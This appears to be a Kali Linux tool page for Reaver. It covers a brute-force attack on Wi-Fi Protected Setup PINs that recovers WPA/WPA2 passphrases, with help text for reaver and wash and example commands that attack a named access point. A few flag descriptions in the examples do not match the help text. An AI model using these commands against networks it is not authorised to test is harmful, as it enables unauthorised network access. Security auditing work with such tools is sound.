Reaver Package Description

Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases, as described in [this paper](https://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf).

Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.

On average Reaver will recover the target AP’s plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase

Source: https://github.com/t6x/reaver-wps-fork-t6x  
[Reaver Homepage](https://github.com/t6x/reaver-wps-fork-t6x) | [Kali Reaver Repo](https://gitlab.com/kalilinux/packages/reaver)

* Author: Tactical Network Solutions, Craig Heffner
* License: GPLv2

Tools included in the reaver package

reaver – WiFi Protected Setup Attack Tool

root@kali:~# reaver -h  
  
Reaver v1.6.5 WiFi Protected Setup Attack Tool  
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>  
  
Required Arguments:  
    -i, --interface=<wlan>          Name of the monitor-mode interface to use  
    -b, --bssid=<mac>               BSSID of the target AP  
  
Optional Arguments:  
    -m, --mac=<mac>                 MAC of the host system  
    -e, --essid=<ssid>              ESSID of the target AP  
    -c, --channel=<channel>         Set the 802.11 channel for the interface (implies -f)  
    -s, --session=<file>            Restore a previous session file  
    -C, --exec=<command>            Execute the supplied command upon successful pin recovery  
    -f, --fixed                     Disable channel hopping  
    -5, --5ghz                      Use 5GHz 802.11 channels  
    -v, --verbose                   Display non-critical warnings (-vv or -vvv for more)  
    -q, --quiet                     Only display critical messages  
    -h, --help                      Show help  
  
Advanced Options:  
    -p, --pin=<wps pin>             Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)  
    -d, --delay=<seconds>           Set the delay between pin attempts [1]  
    -l, --lock-delay=<seconds>      Set the time to wait if the AP locks WPS pin attempts [60]  
    -g, --max-attempts=<num>        Quit after num pin attempts  
    -x, --fail-wait=<seconds>       Set the time to sleep after 10 unexpected failures [0]  
    -r, --recurring-delay=<x:y>     Sleep for y seconds every x pin attempts  
    -t, --timeout=<seconds>         Set the receive timeout period [10]  
    -T, --m57-timeout=<seconds>     Set the M5/M7 timeout period [0.40]  
    -A, --no-associate              Do not associate with the AP (association must be done by another application)  
    -N, --no-nacks                  Do not send NACK messages when out of order packets are received  
    -S, --dh-small                  Use small DH keys to improve crack speed  
    -L, --ignore-locks              Ignore locked state reported by the target AP  
    -E, --eap-terminate             Terminate each WPS session with an EAP FAIL packet  
    -J, --timeout-is-nack           Treat timeout as NACK (DIR-300/320)  
    -F, --ignore-fcs                Ignore frame checksum errors  
    -w, --win7                      Mimic a Windows 7 registrar [False]  
    -K, --pixie-dust                Run pixiedust attack  
    -Z                              Run pixiedust attack  
  
Example:  
    reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -vv

wash – WiFi Protected Setup Scan Tool

root@kali:~# wash -h  
  
Wash v1.6.5 WiFi Protected Setup Scan Tool  
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner  
  
Required Arguments:  
    -i, --interface=<iface>              Interface to capture packets on  
    -f, --file [FILE1 FILE2 FILE3 ...]   Read packets from capture files  
  
Optional Arguments:  
    -c, --channel=<num>                  Channel to listen on [auto]  
    -n, --probes=<num>                   Maximum number of probes to send to each AP in scan mode [15]  
    -F, --ignore-fcs                     Ignore frame checksum errors  
    -2, --2ghz                           Use 2.4GHz 802.11 channels  
    -5, --5ghz                           Use 5GHz 802.11 channels  
    -s, --scan                           Use scan mode  
    -u, --survey                         Use survey mode [default]  
    -a, --all                            Show all APs, even those without WPS  
    -j, --json                           print extended WPS info as json  
    -U, --utf8                           Show UTF8 ESSID (does not sanitize ESSID, dangerous)  
    -h, --help                           Show help  
  
Example:  
    wash -i wlan0mon

wash Usage Example

Scan for networks using the monitor mode interface ***(-i wlan0mon)*** on channel 6 ***(-c 6)***, while ignoring frame checksum errors ***(-C)***:

root@kali:~# wash -i wlan0mon -c 6 -C  
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID  
--------------------------------------------------------------------------------  
E0:3F:49:6A:57:78    6  -73  1.0  No   Unknown   ASUS

reaver Usage Example

Use the monitor mode interface ***(-i mon0)*** to attack the access point ***(-b E0:3F:49:6A:57:78)***, displaying verbose output ***(-v)***:

root@kali:~# reaver -i wlan0mon -b E0:3F:49:6A:57:78 -v  
  
Reaver v1.6.5 WiFi Protected Setup Attack Tool  
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>  
  
[+] Waiting for beacon from E0:3F:49:6A:57:78  
[+] Associated with E0:3F:49:6A:57:78 (ESSID: ASUS)  
[+] Trying pin 12345670